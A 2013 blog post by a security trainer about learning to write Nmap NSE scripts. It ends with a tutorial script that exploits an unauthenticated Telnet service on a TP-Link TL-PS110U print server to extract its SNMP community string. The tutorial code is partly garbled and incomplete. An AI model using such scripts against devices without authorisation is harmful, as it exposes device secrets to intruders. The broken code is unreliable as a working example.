How did I start writing NSE

Jul. 30, 2013

I started my career in information security as a trainer with very simple responsibility of teaching people about ethical hacking and defensive measures to protect digital data from such hacking threats. This task was slightly heavy for me initially being a silent spectator in my past days. Also, it demanded my energy for the whole day talking about the phases of performing ethical hacking exercises. Still I was enjoying this learning phase being a newbie in the field.

I was blessed enough with a nice team of supportive colleagues, and an amazing group of mentors. I still remember those days when I used to sit at my desk after the whole day of training, and one of my mentor and a good friend  Wasim used to visit my desk and ask me “Why are you wasting your time?” Though I laugh now, I was a bit angry at that time.

I used to feel slightly bad on the statement thinking, “Well, he is quite right. Anyone can do what I am doing; delivering training – that’s not a big deal.” I used to think what should I do after 6:00PM every day so that when he comes to my desk, he should see I am doing something really cool and serious. Then I thought of mastering NMAP. No specific reason behind this selection. I just love the way it runs, options it ships with, and the results it produces. In fact, it’s everyone tool of choice when it comes to network audit/scans.

As time passes, I was keep on exploring each options of nmap, analyzing the scanning pattern using Wireshark, and understand the concept well. Thankfully I found some awesome talks by Fyodor & David Fifield on NSE writing.

Basically, writing NSE scripting is pretty easy and also fun thing to do. Yes, I mean a scripter can define what NMAP should do during portscanning. NSEs are written in LUA language, made by Brazilians famous in building games. Few such creations includes Word of Warcraft, Angry Birds, Crysis, King’s Bounty, Star Wars, etc. A detailed list of games written in LUA can be found here :

LUA has many meanings in different languages. Wiki Says “In Roman mythology, Lua was a goddess to whom soldiers sacrificed captured weapons. She is sometimes referred to as Lua Saturni, which makes her a consort of Saturn. It may be that Lua was merely an alternative name for Ops.” The same means to full moon in Portuguese. And some cheesy meaning too – “Love U Always”. I am still not sure which meaning suites better.

NMAP Script Engine today evolved into more than 400 scripts and hundreds of supporting libraries. The default installation of NMAP in windows saves all these scripts under the directory C:Program Files (x86)Nmapscripts If the installation is Linux, it’ll be located at /usr/share/nmap/script/. In Backtrack, the directory is slightly different from normal Linux installation and it can be located at /usr/local/share/nmap/script/

NMAP Aggressive Scan (-A) option does script scan; but it doesn’t run all scripts. All scripts are added into several categories, as listed below:

Script scan can be done based on these categories also. For example: If you need to run all discovery scans but not intrusive ones, it can be done using the following command.

$ nmap –script discovery and not intrusive

The skeleton of NMAP Script looks like below:

[[  Header ]]
[[ Script Rule ]]
portrule = function(host, port)
return port.protocol == “tcp” and port.number == 80 and port.state == “open”
[[ Script Action ]]
action = function(host, port)
return “This is my first NSE”

HEADER contains details related to the description of the script, author name, licensing information, categories etc. SCRIPT RULE contains the condition on which the script action should invoke. Finally the SCRIPT ACTION contains what exactly NMAP should do.

Let me take you through one simple NSE developing based on one of my last exploit (OSVDB:94429). The vulnerability exists in the Telnet service of TP-Link TL PS110U Print Server which doesn’t ask for authentication while connecting to it. For writing NSE script, it’s very much important to know how the exploit works.

Exploitation Steps (in our case):

  1. Telnet to the affected system
  2. Telnet will get authenticated with no password
  3. An attacker can navigate to the settings with a menu driven options and enumerate information such as SNMP community string, Print Model, MAC address, Device Name etc.

We’ll write a script a small script to enumerate just SNMP community string. Following is the code.

-- require statement is used to include NMAP libraries to our script. 
-- All libraries can be found in

local comm = require "comm"
local nmap = require "nmap"
local shortport = require "shortport"
local stdnse = require "stdnse"
-- a brief description about our script
description = [[
this script enumerate SNMP Community String details of TP Link Print Server (TL-PS110U) based on OSVDB 94429
--  Other details; author name, license and category information
author = "Sanoop Thomas a.k.a @s4n7h0"
license = "Same as Nmap--See"
categories = {'discovery', 'safe'}
-- this is script rule section. Our script will get activated if telnet port 23/tcp is open
portrule = shortport.port_or_service(23, 'telnet')
-- this is the actual code.
action = function(host, port)
local try = nmap.new_try()
local snmp = {}
-- navigating though the configuration settings
local community = try(,port, "/rnrn2rn5rn1rn",
{lines=100,proto=port.protocol, timeout=5000}))
          -- finding string containing “Community” to filter SNMP string
for c in community:gmatch("[^rn]+") do
if c:find("Community") then
--printing the final result which includes SNMP strings
return stdnse.format_output(true, snmp)

The final output looks like below:

Nmap NSE Scan Result